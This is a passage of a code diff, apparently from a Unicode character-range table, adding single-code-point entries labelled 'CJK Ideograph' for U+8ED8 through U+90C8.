+ ["\u8ED8", "\u8ED8"], /* CJK Ideograph */
+ ["\u8ED9", "\u8ED9"], /* CJK Ideograph */
+ ["\u8EDA", "\u8EDA"], /* CJK Ideograph */
+ ["\u8EDB", "\u8EDB"], /* CJK Ideograph */
+ ["\u8EDC", "\u8EDC"], /* CJK Ideograph */
+ ["\u8EDD", "\u8EDD"], /* CJK Ideograph */
+ ["\u8EDE", "\u8EDE"], /* CJK Ideograph */
+ ["\u8EDF", "\u8EDF"], /* CJK Ideograph */
+ ["\u8EE0", "\u8EE0"], /* CJK Ideograph */
+ ["\u8EE1", "\u8EE1"], /* CJK Ideograph */
+ ["\u8EE2", "\u8EE2"], /* CJK Ideograph */
+ ["\u8EE3", "\u8EE3"], /* CJK Ideograph */
+ ["\u8EE4", "\u8EE4"], /* CJK Ideograph */
+ ["\u8EE5", "\u8EE5"], /* CJK Ideograph */
+ ["\u8EE6", "\u8EE6"], /* CJK Ideograph */
+ ["\u8EE7", "\u8EE7"], /* CJK Ideograph */
+ ["\u8EE8", "\u8EE8"], /* CJK Ideograph */
+ ["\u8EE9", "\u8EE9"], /* CJK Ideograph */
+ ["\u8EEA", "\u8EEA"], /* CJK Ideograph */
+ ["\u8EEB", "\u8EEB"], /* CJK Ideograph */
+ ["\u8EEC", "\u8EEC"], /* CJK Ideograph */
+ ["\u8EED", "\u8EED"], /* CJK Ideograph */
+ ["\u8EEE", "\u8EEE"], /* CJK Ideograph */
+ ["\u8EEF", "\u8EEF"], /* CJK Ideograph */
+ ["\u8EF0", "\u8EF0"], /* CJK Ideograph */
+ ["\u8EF1", "\u8EF1"], /* CJK Ideograph */
+ ["\u8EF2", "\u8EF2"], /* CJK Ideograph */
+ ["\u8EF3", "\u8EF3"], /* CJK Ideograph */
+ ["\u8EF4", "\u8EF4"], /* CJK Ideograph */
+ ["\u8EF5", "\u8EF5"], /* CJK Ideograph */
+ ["\u8EF6", "\u8EF6"], /* CJK Ideograph */
+ ["\u8EF7", "\u8EF7"], /* CJK Ideograph */
+ ["\u8EF8", "\u8EF8"], /* CJK Ideograph */
+ ["\u8EF9", "\u8EF9"], /* CJK Ideograph */
+ ["\u8EFA", "\u8EFA"], /* CJK Ideograph */
+ ["\u8EFB", "\u8EFB"], /* CJK Ideograph */
+ ["\u8EFC", "\u8EFC"], /* CJK Ideograph */
+ ["\u8EFD", "\u8EFD"], /* CJK Ideograph */
+ ["\u8EFE", "\u8EFE"], /* CJK Ideograph */
+ ["\u8EFF", "\u8EFF"], /* CJK Ideograph */
+ ["\u8F00", "\u8F00"], /* CJK Ideograph */
+ ["\u8F01", "\u8F01"], /* CJK Ideograph */
+ ["\u8F02", "\u8F02"], /* CJK Ideograph */
+ ["\u8F03", "\u8F03"], /* CJK Ideograph */
+ ["\u8F04", "\u8F04"], /* CJK Ideograph */
+ ["\u8F05", "\u8F05"], /* CJK Ideograph */
+ ["\u8F06", "\u8F06"], /* CJK Ideograph */
+ ["\u8F07", "\u8F07"], /* CJK Ideograph */
+ ["\u8F08", "\u8F08"], /* CJK Ideograph */
+ ["\u8F09", "\u8F09"], /* CJK Ideograph */
+ ["\u8F0A", "\u8F0A"], /* CJK Ideograph */
+ ["\u8F0B", "\u8F0B"], /* CJK Ideograph */
+ ["\u8F0C", "\u8F0C"], /* CJK Ideograph */
+ ["\u8F0D", "\u8F0D"], /* CJK Ideograph */
+ ["\u8F0E", "\u8F0E"], /* CJK Ideograph */
+ ["\u8F0F", "\u8F0F"], /* CJK Ideograph */
+ ["\u8F10", "\u8F10"], /* CJK Ideograph */
+ ["\u8F11", "\u8F11"], /* CJK Ideograph */
+ ["\u8F12", "\u8F12"], /* CJK Ideograph */
+ ["\u8F13", "\u8F13"], /* CJK Ideograph */
+ ["\u8F14", "\u8F14"], /* CJK Ideograph */
+ ["\u8F15", "\u8F15"], /* CJK Ideograph */
+ ["\u8F16", "\u8F16"], /* CJK Ideograph */
+ ["\u8F17", "\u8F17"], /* CJK Ideograph */
+ ["\u8F18", "\u8F18"], /* CJK Ideograph */
+ ["\u8F19", "\u8F19"], /* CJK Ideograph */
+ ["\u8F1A", "\u8F1A"], /* CJK Ideograph */
+ ["\u8F1B", "\u8F1B"], /* CJK Ideograph */
+ ["\u8F1C", "\u8F1C"], /* CJK Ideograph */
+ ["\u8F1D", "\u8F1D"], /* CJK Ideograph */
+ ["\u8F1E", "\u8F1E"], /* CJK Ideograph */
+ ["\u8F1F", "\u8F1F"], /* CJK Ideograph */
+ ["\u8F20", "\u8F20"], /* CJK Ideograph */
+ ["\u8F21", "\u8F21"], /* CJK Ideograph */
+ ["\u8F22", "\u8F22"], /* CJK Ideograph */
+ ["\u8F23", "\u8F23"], /* CJK Ideograph */
+ ["\u8F24", "\u8F24"], /* CJK Ideograph */
+ ["\u8F25", "\u8F25"], /* CJK Ideograph */
+ ["\u8F26", "\u8F26"], /* CJK Ideograph */
+ ["\u8F27", "\u8F27"], /* CJK Ideograph */
+ ["\u8F28", "\u8F28"], /* CJK Ideograph */
+ ["\u8F29", "\u8F29"], /* CJK Ideograph */
+ ["\u8F2A", "\u8F2A"], /* CJK Ideograph */
+ ["\u8F2B", "\u8F2B"], /* CJK Ideograph */
+ ["\u8F2C", "\u8F2C"], /* CJK Ideograph */
+ ["\u8F2D", "\u8F2D"], /* CJK Ideograph */
+ ["\u8F2E", "\u8F2E"], /* CJK Ideograph */
+ ["\u8F2F", "\u8F2F"], /* CJK Ideograph */
+ ["\u8F30", "\u8F30"], /* CJK Ideograph */
+ ["\u8F31", "\u8F31"], /* CJK Ideograph */
+ ["\u8F32", "\u8F32"], /* CJK Ideograph */
+ ["\u8F33", "\u8F33"], /* CJK Ideograph */
+ ["\u8F34", "\u8F34"], /* CJK Ideograph */
+ ["\u8F35", "\u8F35"], /* CJK Ideograph */
+ ["\u8F36", "\u8F36"], /* CJK Ideograph */
+ ["\u8F37", "\u8F37"], /* CJK Ideograph */
+ ["\u8F38", "\u8F38"], /* CJK Ideograph */
+ ["\u8F39", "\u8F39"], /* CJK Ideograph */
+ ["\u8F3A", "\u8F3A"], /* CJK Ideograph */
+ ["\u8F3B", "\u8F3B"], /* CJK Ideograph */
+ ["\u8F3C", "\u8F3C"], /* CJK Ideograph */
+ ["\u8F3D", "\u8F3D"], /* CJK Ideograph */
+ ["\u8F3E", "\u8F3E"], /* CJK Ideograph */
+ ["\u8F3F", "\u8F3F"], /* CJK Ideograph */
+ ["\u8F40", "\u8F40"], /* CJK Ideograph */
+ ["\u8F41", "\u8F41"], /* CJK Ideograph */
+ ["\u8F42", "\u8F42"], /* CJK Ideograph */
+ ["\u8F43", "\u8F43"], /* CJK Ideograph */
+ ["\u8F44", "\u8F44"], /* CJK Ideograph */
+ ["\u8F45", "\u8F45"], /* CJK Ideograph */
+ ["\u8F46", "\u8F46"], /* CJK Ideograph */
+ ["\u8F47", "\u8F47"], /* CJK Ideograph */
+ ["\u8F48", "\u8F48"], /* CJK Ideograph */
+ ["\u8F49", "\u8F49"], /* CJK Ideograph */
+ ["\u8F4A", "\u8F4A"], /* CJK Ideograph */
+ ["\u8F4B", "\u8F4B"], /* CJK Ideograph */
+ ["\u8F4C", "\u8F4C"], /* CJK Ideograph */
+ ["\u8F4D", "\u8F4D"], /* CJK Ideograph */
+ ["\u8F4E", "\u8F4E"], /* CJK Ideograph */
+ ["\u8F4F", "\u8F4F"], /* CJK Ideograph */
+ ["\u8F50", "\u8F50"], /* CJK Ideograph */
+ ["\u8F51", "\u8F51"], /* CJK Ideograph */
+ ["\u8F52", "\u8F52"], /* CJK Ideograph */
+ ["\u8F53", "\u8F53"], /* CJK Ideograph */
+ ["\u8F54", "\u8F54"], /* CJK Ideograph */
+ ["\u8F55", "\u8F55"], /* CJK Ideograph */
+ ["\u8F56", "\u8F56"], /* CJK Ideograph */
+ ["\u8F57", "\u8F57"], /* CJK Ideograph */
+ ["\u8F58", "\u8F58"], /* CJK Ideograph */
+ ["\u8F59", "\u8F59"], /* CJK Ideograph */
+ ["\u8F5A", "\u8F5A"], /* CJK Ideograph */
+ ["\u8F5B", "\u8F5B"], /* CJK Ideograph */
+ ["\u8F5C", "\u8F5C"], /* CJK Ideograph */
+ ["\u8F5D", "\u8F5D"], /* CJK Ideograph */
+ ["\u8F5E", "\u8F5E"], /* CJK Ideograph */
+ ["\u8F5F", "\u8F5F"], /* CJK Ideograph */
+ ["\u8F60", "\u8F60"], /* CJK Ideograph */
+ ["\u8F61", "\u8F61"], /* CJK Ideograph */
+ ["\u8F62", "\u8F62"], /* CJK Ideograph */
+ ["\u8F63", "\u8F63"], /* CJK Ideograph */
+ ["\u8F64", "\u8F64"], /* CJK Ideograph */
+ ["\u8F65", "\u8F65"], /* CJK Ideograph */
+ ["\u8F66", "\u8F66"], /* CJK Ideograph */
+ ["\u8F67", "\u8F67"], /* CJK Ideograph */
+ ["\u8F68", "\u8F68"], /* CJK Ideograph */
+ ["\u8F69", "\u8F69"], /* CJK Ideograph */
+ ["\u8F6A", "\u8F6A"], /* CJK Ideograph */
+ ["\u8F6B", "\u8F6B"], /* CJK Ideograph */
+ ["\u8F6C", "\u8F6C"], /* CJK Ideograph */
+ ["\u8F6D", "\u8F6D"], /* CJK Ideograph */
+ ["\u8F6E", "\u8F6E"], /* CJK Ideograph */
+ ["\u8F6F", "\u8F6F"], /* CJK Ideograph */
+ ["\u8F70", "\u8F70"], /* CJK Ideograph */
+ ["\u8F71", "\u8F71"], /* CJK Ideograph */
+ ["\u8F72", "\u8F72"], /* CJK Ideograph */
+ ["\u8F73", "\u8F73"], /* CJK Ideograph */
+ ["\u8F74", "\u8F74"], /* CJK Ideograph */
+ ["\u8F75", "\u8F75"], /* CJK Ideograph */
+ ["\u8F76", "\u8F76"], /* CJK Ideograph */
+ ["\u8F77", "\u8F77"], /* CJK Ideograph */
+ ["\u8F78", "\u8F78"], /* CJK Ideograph */
+ ["\u8F79", "\u8F79"], /* CJK Ideograph */
+ ["\u8F7A", "\u8F7A"], /* CJK Ideograph */
+ ["\u8F7B", "\u8F7B"], /* CJK Ideograph */
+ ["\u8F7C", "\u8F7C"], /* CJK Ideograph */
+ ["\u8F7D", "\u8F7D"], /* CJK Ideograph */
+ ["\u8F7E", "\u8F7E"], /* CJK Ideograph */
+ ["\u8F7F", "\u8F7F"], /* CJK Ideograph */
+ ["\u8F80", "\u8F80"], /* CJK Ideograph */
+ ["\u8F81", "\u8F81"], /* CJK Ideograph */
+ ["\u8F82", "\u8F82"], /* CJK Ideograph */
+ ["\u8F83", "\u8F83"], /* CJK Ideograph */
+ ["\u8F84", "\u8F84"], /* CJK Ideograph */
+ ["\u8F85", "\u8F85"], /* CJK Ideograph */
+ ["\u8F86", "\u8F86"], /* CJK Ideograph */
+ ["\u8F87", "\u8F87"], /* CJK Ideograph */
+ ["\u8F88", "\u8F88"], /* CJK Ideograph */
+ ["\u8F89", "\u8F89"], /* CJK Ideograph */
+ ["\u8F8A", "\u8F8A"], /* CJK Ideograph */
+ ["\u8F8B", "\u8F8B"], /* CJK Ideograph */
+ ["\u8F8C", "\u8F8C"], /* CJK Ideograph */
+ ["\u8F8D", "\u8F8D"], /* CJK Ideograph */
+ ["\u8F8E", "\u8F8E"], /* CJK Ideograph */
+ ["\u8F8F", "\u8F8F"], /* CJK Ideograph */
+ ["\u8F90", "\u8F90"], /* CJK Ideograph */
+ ["\u8F91", "\u8F91"], /* CJK Ideograph */
+ ["\u8F92", "\u8F92"], /* CJK Ideograph */
+ ["\u8F93", "\u8F93"], /* CJK Ideograph */
+ ["\u8F94", "\u8F94"], /* CJK Ideograph */
+ ["\u8F95", "\u8F95"], /* CJK Ideograph */
+ ["\u8F96", "\u8F96"], /* CJK Ideograph */
+ ["\u8F97", "\u8F97"], /* CJK Ideograph */
+ ["\u8F98", "\u8F98"], /* CJK Ideograph */
+ ["\u8F99", "\u8F99"], /* CJK Ideograph */
+ ["\u8F9A", "\u8F9A"], /* CJK Ideograph */
+ ["\u8F9B", "\u8F9B"], /* CJK Ideograph */
+ ["\u8F9C", "\u8F9C"], /* CJK Ideograph */
+ ["\u8F9D", "\u8F9D"], /* CJK Ideograph */
+ ["\u8F9E", "\u8F9E"], /* CJK Ideograph */
+ ["\u8F9F", "\u8F9F"], /* CJK Ideograph */
+ ["\u8FA0", "\u8FA0"], /* CJK Ideograph */
+ ["\u8FA1", "\u8FA1"], /* CJK Ideograph */
+ ["\u8FA2", "\u8FA2"], /* CJK Ideograph */
+ ["\u8FA3", "\u8FA3"], /* CJK Ideograph */
+ ["\u8FA4", "\u8FA4"], /* CJK Ideograph */
+ ["\u8FA5", "\u8FA5"], /* CJK Ideograph */
+ ["\u8FA6", "\u8FA6"], /* CJK Ideograph */
+ ["\u8FA7", "\u8FA7"], /* CJK Ideograph */
+ ["\u8FA8", "\u8FA8"], /* CJK Ideograph */
+ ["\u8FA9", "\u8FA9"], /* CJK Ideograph */
+ ["\u8FAA", "\u8FAA"], /* CJK Ideograph */
+ ["\u8FAB", "\u8FAB"], /* CJK Ideograph */
+ ["\u8FAC", "\u8FAC"], /* CJK Ideograph */
+ ["\u8FAD", "\u8FAD"], /* CJK Ideograph */
+ ["\u8FAE", "\u8FAE"], /* CJK Ideograph */
+ ["\u8FAF", "\u8FAF"], /* CJK Ideograph */
+ ["\u8FB0", "\u8FB0"], /* CJK Ideograph */
+ ["\u8FB1", "\u8FB1"], /* CJK Ideograph */
+ ["\u8FB2", "\u8FB2"], /* CJK Ideograph */
+ ["\u8FB3", "\u8FB3"], /* CJK Ideograph */
+ ["\u8FB4", "\u8FB4"], /* CJK Ideograph */
+ ["\u8FB5", "\u8FB5"], /* CJK Ideograph */
+ ["\u8FB6", "\u8FB6"], /* CJK Ideograph */
+ ["\u8FB7", "\u8FB7"], /* CJK Ideograph */
+ ["\u8FB8", "\u8FB8"], /* CJK Ideograph */
+ ["\u8FB9", "\u8FB9"], /* CJK Ideograph */
+ ["\u8FBA", "\u8FBA"], /* CJK Ideograph */
+ ["\u8FBB", "\u8FBB"], /* CJK Ideograph */
+ ["\u8FBC", "\u8FBC"], /* CJK Ideograph */
+ ["\u8FBD", "\u8FBD"], /* CJK Ideograph */
+ ["\u8FBE", "\u8FBE"], /* CJK Ideograph */
+ ["\u8FBF", "\u8FBF"], /* CJK Ideograph */
+ ["\u8FC0", "\u8FC0"], /* CJK Ideograph */
+ ["\u8FC1", "\u8FC1"], /* CJK Ideograph */
+ ["\u8FC2", "\u8FC2"], /* CJK Ideograph */
+ ["\u8FC3", "\u8FC3"], /* CJK Ideograph */
+ ["\u8FC4", "\u8FC4"], /* CJK Ideograph */
+ ["\u8FC5", "\u8FC5"], /* CJK Ideograph */
+ ["\u8FC6", "\u8FC6"], /* CJK Ideograph */
+ ["\u8FC7", "\u8FC7"], /* CJK Ideograph */
+ ["\u8FC8", "\u8FC8"], /* CJK Ideograph */
+ ["\u8FC9", "\u8FC9"], /* CJK Ideograph */
+ ["\u8FCA", "\u8FCA"], /* CJK Ideograph */
+ ["\u8FCB", "\u8FCB"], /* CJK Ideograph */
+ ["\u8FCC", "\u8FCC"], /* CJK Ideograph */
+ ["\u8FCD", "\u8FCD"], /* CJK Ideograph */
+ ["\u8FCE", "\u8FCE"], /* CJK Ideograph */
+ ["\u8FCF", "\u8FCF"], /* CJK Ideograph */
+ ["\u8FD0", "\u8FD0"], /* CJK Ideograph */
+ ["\u8FD1", "\u8FD1"], /* CJK Ideograph */
+ ["\u8FD2", "\u8FD2"], /* CJK Ideograph */
+ ["\u8FD3", "\u8FD3"], /* CJK Ideograph */
+ ["\u8FD4", "\u8FD4"], /* CJK Ideograph */
+ ["\u8FD5", "\u8FD5"], /* CJK Ideograph */
+ ["\u8FD6", "\u8FD6"], /* CJK Ideograph */
+ ["\u8FD7", "\u8FD7"], /* CJK Ideograph */
+ ["\u8FD8", "\u8FD8"], /* CJK Ideograph */
+ ["\u8FD9", "\u8FD9"], /* CJK Ideograph */
+ ["\u8FDA", "\u8FDA"], /* CJK Ideograph */
+ ["\u8FDB", "\u8FDB"], /* CJK Ideograph */
+ ["\u8FDC", "\u8FDC"], /* CJK Ideograph */
+ ["\u8FDD", "\u8FDD"], /* CJK Ideograph */
+ ["\u8FDE", "\u8FDE"], /* CJK Ideograph */
+ ["\u8FDF", "\u8FDF"], /* CJK Ideograph */
+ ["\u8FE0", "\u8FE0"], /* CJK Ideograph */
+ ["\u8FE1", "\u8FE1"], /* CJK Ideograph */
+ ["\u8FE2", "\u8FE2"], /* CJK Ideograph */
+ ["\u8FE3", "\u8FE3"], /* CJK Ideograph */
+ ["\u8FE4", "\u8FE4"], /* CJK Ideograph */
+ ["\u8FE5", "\u8FE5"], /* CJK Ideograph */
+ ["\u8FE6", "\u8FE6"], /* CJK Ideograph */
+ ["\u8FE7", "\u8FE7"], /* CJK Ideograph */
+ ["\u8FE8", "\u8FE8"], /* CJK Ideograph */
+ ["\u8FE9", "\u8FE9"], /* CJK Ideograph */
+ ["\u8FEA", "\u8FEA"], /* CJK Ideograph */
+ ["\u8FEB", "\u8FEB"], /* CJK Ideograph */
+ ["\u8FEC", "\u8FEC"], /* CJK Ideograph */
+ ["\u8FED", "\u8FED"], /* CJK Ideograph */
+ ["\u8FEE", "\u8FEE"], /* CJK Ideograph */
+ ["\u8FEF", "\u8FEF"], /* CJK Ideograph */
+ ["\u8FF0", "\u8FF0"], /* CJK Ideograph */
+ ["\u8FF1", "\u8FF1"], /* CJK Ideograph */
+ ["\u8FF2", "\u8FF2"], /* CJK Ideograph */
+ ["\u8FF3", "\u8FF3"], /* CJK Ideograph */
+ ["\u8FF4", "\u8FF4"], /* CJK Ideograph */
+ ["\u8FF5", "\u8FF5"], /* CJK Ideograph */
+ ["\u8FF6", "\u8FF6"], /* CJK Ideograph */
+ ["\u8FF7", "\u8FF7"], /* CJK Ideograph */
+ ["\u8FF8", "\u8FF8"], /* CJK Ideograph */
+ ["\u8FF9", "\u8FF9"], /* CJK Ideograph */
+ ["\u8FFA", "\u8FFA"], /* CJK Ideograph */
+ ["\u8FFB", "\u8FFB"], /* CJK Ideograph */
+ ["\u8FFC", "\u8FFC"], /* CJK Ideograph */
+ ["\u8FFD", "\u8FFD"], /* CJK Ideograph */
+ ["\u8FFE", "\u8FFE"], /* CJK Ideograph */
+ ["\u8FFF", "\u8FFF"], /* CJK Ideograph */
+ ["\u9000", "\u9000"], /* CJK Ideograph */
+ ["\u9001", "\u9001"], /* CJK Ideograph */
+ ["\u9002", "\u9002"], /* CJK Ideograph */
+ ["\u9003", "\u9003"], /* CJK Ideograph */
+ ["\u9004", "\u9004"], /* CJK Ideograph */
+ ["\u9005", "\u9005"], /* CJK Ideograph */
+ ["\u9006", "\u9006"], /* CJK Ideograph */
+ ["\u9007", "\u9007"], /* CJK Ideograph */
+ ["\u9008", "\u9008"], /* CJK Ideograph */
+ ["\u9009", "\u9009"], /* CJK Ideograph */
+ ["\u900A", "\u900A"], /* CJK Ideograph */
+ ["\u900B", "\u900B"], /* CJK Ideograph */
+ ["\u900C", "\u900C"], /* CJK Ideograph */
+ ["\u900D", "\u900D"], /* CJK Ideograph */
+ ["\u900E", "\u900E"], /* CJK Ideograph */
+ ["\u900F", "\u900F"], /* CJK Ideograph */
+ ["\u9010", "\u9010"], /* CJK Ideograph */
+ ["\u9011", "\u9011"], /* CJK Ideograph */
+ ["\u9012", "\u9012"], /* CJK Ideograph */
+ ["\u9013", "\u9013"], /* CJK Ideograph */
+ ["\u9014", "\u9014"], /* CJK Ideograph */
+ ["\u9015", "\u9015"], /* CJK Ideograph */
+ ["\u9016", "\u9016"], /* CJK Ideograph */
+ ["\u9017", "\u9017"], /* CJK Ideograph */
+ ["\u9018", "\u9018"], /* CJK Ideograph */
+ ["\u9019", "\u9019"], /* CJK Ideograph */
+ ["\u901A", "\u901A"], /* CJK Ideograph */
+ ["\u901B", "\u901B"], /* CJK Ideograph */
+ ["\u901C", "\u901C"], /* CJK Ideograph */
+ ["\u901D", "\u901D"], /* CJK Ideograph */
+ ["\u901E", "\u901E"], /* CJK Ideograph */
+ ["\u901F", "\u901F"], /* CJK Ideograph */
+ ["\u9020", "\u9020"], /* CJK Ideograph */
+ ["\u9021", "\u9021"], /* CJK Ideograph */
+ ["\u9022", "\u9022"], /* CJK Ideograph */
+ ["\u9023", "\u9023"], /* CJK Ideograph */
+ ["\u9024", "\u9024"], /* CJK Ideograph */
+ ["\u9025", "\u9025"], /* CJK Ideograph */
+ ["\u9026", "\u9026"], /* CJK Ideograph */
+ ["\u9027", "\u9027"], /* CJK Ideograph */
+ ["\u9028", "\u9028"], /* CJK Ideograph */
+ ["\u9029", "\u9029"], /* CJK Ideograph */
+ ["\u902A", "\u902A"], /* CJK Ideograph */
+ ["\u902B", "\u902B"], /* CJK Ideograph */
+ ["\u902C", "\u902C"], /* CJK Ideograph */
+ ["\u902D", "\u902D"], /* CJK Ideograph */
+ ["\u902E", "\u902E"], /* CJK Ideograph */
+ ["\u902F", "\u902F"], /* CJK Ideograph */
+ ["\u9030", "\u9030"], /* CJK Ideograph */
+ ["\u9031", "\u9031"], /* CJK Ideograph */
+ ["\u9032", "\u9032"], /* CJK Ideograph */
+ ["\u9033", "\u9033"], /* CJK Ideograph */
+ ["\u9034", "\u9034"], /* CJK Ideograph */
+ ["\u9035", "\u9035"], /* CJK Ideograph */
+ ["\u9036", "\u9036"], /* CJK Ideograph */
+ ["\u9037", "\u9037"], /* CJK Ideograph */
+ ["\u9038", "\u9038"], /* CJK Ideograph */
+ ["\u9039", "\u9039"], /* CJK Ideograph */
+ ["\u903A", "\u903A"], /* CJK Ideograph */
+ ["\u903B", "\u903B"], /* CJK Ideograph */
+ ["\u903C", "\u903C"], /* CJK Ideograph */
+ ["\u903D", "\u903D"], /* CJK Ideograph */
+ ["\u903E", "\u903E"], /* CJK Ideograph */
+ ["\u903F", "\u903F"], /* CJK Ideograph */
+ ["\u9040", "\u9040"], /* CJK Ideograph */
+ ["\u9041", "\u9041"], /* CJK Ideograph */
+ ["\u9042", "\u9042"], /* CJK Ideograph */
+ ["\u9043", "\u9043"], /* CJK Ideograph */
+ ["\u9044", "\u9044"], /* CJK Ideograph */
+ ["\u9045", "\u9045"], /* CJK Ideograph */
+ ["\u9046", "\u9046"], /* CJK Ideograph */
+ ["\u9047", "\u9047"], /* CJK Ideograph */
+ ["\u9048", "\u9048"], /* CJK Ideograph */
+ ["\u9049", "\u9049"], /* CJK Ideograph */
+ ["\u904A", "\u904A"], /* CJK Ideograph */
+ ["\u904B", "\u904B"], /* CJK Ideograph */
+ ["\u904C", "\u904C"], /* CJK Ideograph */
+ ["\u904D", "\u904D"], /* CJK Ideograph */
+ ["\u904E", "\u904E"], /* CJK Ideograph */
+ ["\u904F", "\u904F"], /* CJK Ideograph */
+ ["\u9050", "\u9050"], /* CJK Ideograph */
+ ["\u9051", "\u9051"], /* CJK Ideograph */
+ ["\u9052", "\u9052"], /* CJK Ideograph */
+ ["\u9053", "\u9053"], /* CJK Ideograph */
+ ["\u9054", "\u9054"], /* CJK Ideograph */
+ ["\u9055", "\u9055"], /* CJK Ideograph */
+ ["\u9056", "\u9056"], /* CJK Ideograph */
+ ["\u9057", "\u9057"], /* CJK Ideograph */
+ ["\u9058", "\u9058"], /* CJK Ideograph */
+ ["\u9059", "\u9059"], /* CJK Ideograph */
+ ["\u905A", "\u905A"], /* CJK Ideograph */
+ ["\u905B", "\u905B"], /* CJK Ideograph */
+ ["\u905C", "\u905C"], /* CJK Ideograph */
+ ["\u905D", "\u905D"], /* CJK Ideograph */
+ ["\u905E", "\u905E"], /* CJK Ideograph */
+ ["\u905F", "\u905F"], /* CJK Ideograph */
+ ["\u9060", "\u9060"], /* CJK Ideograph */
+ ["\u9061", "\u9061"], /* CJK Ideograph */
+ ["\u9062", "\u9062"], /* CJK Ideograph */
+ ["\u9063", "\u9063"], /* CJK Ideograph */
+ ["\u9064", "\u9064"], /* CJK Ideograph */
+ ["\u9065", "\u9065"], /* CJK Ideograph */
+ ["\u9066", "\u9066"], /* CJK Ideograph */
+ ["\u9067", "\u9067"], /* CJK Ideograph */
+ ["\u9068", "\u9068"], /* CJK Ideograph */
+ ["\u9069", "\u9069"], /* CJK Ideograph */
+ ["\u906A", "\u906A"], /* CJK Ideograph */
+ ["\u906B", "\u906B"], /* CJK Ideograph */
+ ["\u906C", "\u906C"], /* CJK Ideograph */
+ ["\u906D", "\u906D"], /* CJK Ideograph */
+ ["\u906E", "\u906E"], /* CJK Ideograph */
+ ["\u906F", "\u906F"], /* CJK Ideograph */
+ ["\u9070", "\u9070"], /* CJK Ideograph */
+ ["\u9071", "\u9071"], /* CJK Ideograph */
+ ["\u9072", "\u9072"], /* CJK Ideograph */
+ ["\u9073", "\u9073"], /* CJK Ideograph */
+ ["\u9074", "\u9074"], /* CJK Ideograph */
+ ["\u9075", "\u9075"], /* CJK Ideograph */
+ ["\u9076", "\u9076"], /* CJK Ideograph */
+ ["\u9077", "\u9077"], /* CJK Ideograph */
+ ["\u9078", "\u9078"], /* CJK Ideograph */
+ ["\u9079", "\u9079"], /* CJK Ideograph */
+ ["\u907A", "\u907A"], /* CJK Ideograph */
+ ["\u907B", "\u907B"], /* CJK Ideograph */
+ ["\u907C", "\u907C"], /* CJK Ideograph */
+ ["\u907D", "\u907D"], /* CJK Ideograph */
+ ["\u907E", "\u907E"], /* CJK Ideograph */
+ ["\u907F", "\u907F"], /* CJK Ideograph */
+ ["\u9080", "\u9080"], /* CJK Ideograph */
+ ["\u9081", "\u9081"], /* CJK Ideograph */
+ ["\u9082", "\u9082"], /* CJK Ideograph */
+ ["\u9083", "\u9083"], /* CJK Ideograph */
+ ["\u9084", "\u9084"], /* CJK Ideograph */
+ ["\u9085", "\u9085"], /* CJK Ideograph */
+ ["\u9086", "\u9086"], /* CJK Ideograph */
+ ["\u9087", "\u9087"], /* CJK Ideograph */
+ ["\u9088", "\u9088"], /* CJK Ideograph */
+ ["\u9089", "\u9089"], /* CJK Ideograph */
+ ["\u908A", "\u908A"], /* CJK Ideograph */
+ ["\u908B", "\u908B"], /* CJK Ideograph */
+ ["\u908C", "\u908C"], /* CJK Ideograph */
+ ["\u908D", "\u908D"], /* CJK Ideograph */
+ ["\u908E", "\u908E"], /* CJK Ideograph */
+ ["\u908F", "\u908F"], /* CJK Ideograph */
+ ["\u9090", "\u9090"], /* CJK Ideograph */
+ ["\u9091", "\u9091"], /* CJK Ideograph */
+ ["\u9092", "\u9092"], /* CJK Ideograph */
+ ["\u9093", "\u9093"], /* CJK Ideograph */
+ ["\u9094", "\u9094"], /* CJK Ideograph */
+ ["\u9095", "\u9095"], /* CJK Ideograph */
+ ["\u9096", "\u9096"], /* CJK Ideograph */
+ ["\u9097", "\u9097"], /* CJK Ideograph */
+ ["\u9098", "\u9098"], /* CJK Ideograph */
+ ["\u9099", "\u9099"], /* CJK Ideograph */
+ ["\u909A", "\u909A"], /* CJK Ideograph */
+ ["\u909B", "\u909B"], /* CJK Ideograph */
+ ["\u909C", "\u909C"], /* CJK Ideograph */
+ ["\u909D", "\u909D"], /* CJK Ideograph */
+ ["\u909E", "\u909E"], /* CJK Ideograph */
+ ["\u909F", "\u909F"], /* CJK Ideograph */
+ ["\u90A0", "\u90A0"], /* CJK Ideograph */
+ ["\u90A1", "\u90A1"], /* CJK Ideograph */
+ ["\u90A2", "\u90A2"], /* CJK Ideograph */
+ ["\u90A3", "\u90A3"], /* CJK Ideograph */
+ ["\u90A4", "\u90A4"], /* CJK Ideograph */
+ ["\u90A5", "\u90A5"], /* CJK Ideograph */
+ ["\u90A6", "\u90A6"], /* CJK Ideograph */
+ ["\u90A7", "\u90A7"], /* CJK Ideograph */
+ ["\u90A8", "\u90A8"], /* CJK Ideograph */
+ ["\u90A9", "\u90A9"], /* CJK Ideograph */
+ ["\u90AA", "\u90AA"], /* CJK Ideograph */
+ ["\u90AB", "\u90AB"], /* CJK Ideograph */
+ ["\u90AC", "\u90AC"], /* CJK Ideograph */
+ ["\u90AD", "\u90AD"], /* CJK Ideograph */
+ ["\u90AE", "\u90AE"], /* CJK Ideograph */
+ ["\u90AF", "\u90AF"], /* CJK Ideograph */
+ ["\u90B0", "\u90B0"], /* CJK Ideograph */
+ ["\u90B1", "\u90B1"], /* CJK Ideograph */
+ ["\u90B2", "\u90B2"], /* CJK Ideograph */
+ ["\u90B3", "\u90B3"], /* CJK Ideograph */
+ ["\u90B4", "\u90B4"], /* CJK Ideograph */
+ ["\u90B5", "\u90B5"], /* CJK Ideograph */
+ ["\u90B6", "\u90B6"], /* CJK Ideograph */
+ ["\u90B7", "\u90B7"], /* CJK Ideograph */
+ ["\u90B8", "\u90B8"], /* CJK Ideograph */
+ ["\u90B9", "\u90B9"], /* CJK Ideograph */
+ ["\u90BA", "\u90BA"], /* CJK Ideograph */
+ ["\u90BB", "\u90BB"], /* CJK Ideograph */
+ ["\u90BC", "\u90BC"], /* CJK Ideograph */
+ ["\u90BD", "\u90BD"], /* CJK Ideograph */
+ ["\u90BE", "\u90BE"], /* CJK Ideograph */
+ ["\u90BF", "\u90BF"], /* CJK Ideograph */
+ ["\u90C0", "\u90C0"], /* CJK Ideograph */
+ ["\u90C1", "\u90C1"], /* CJK Ideograph */
+ ["\u90C2", "\u90C2"], /* CJK Ideograph */
+ ["\u90C3", "\u90C3"], /* CJK Ideograph */
+ ["\u90C4", "\u90C4"], /* CJK Ideograph */
+ ["\u90C5", "\u90C5"], /* CJK Ideograph */
+ ["\u90C6", "\u90C6"], /* CJK Ideograph */
+ ["\u90C7", "\u90C7"], /* CJK Ideograph */
+ ["\u90C8", "\u90C8"], /* CJK Ideograph */
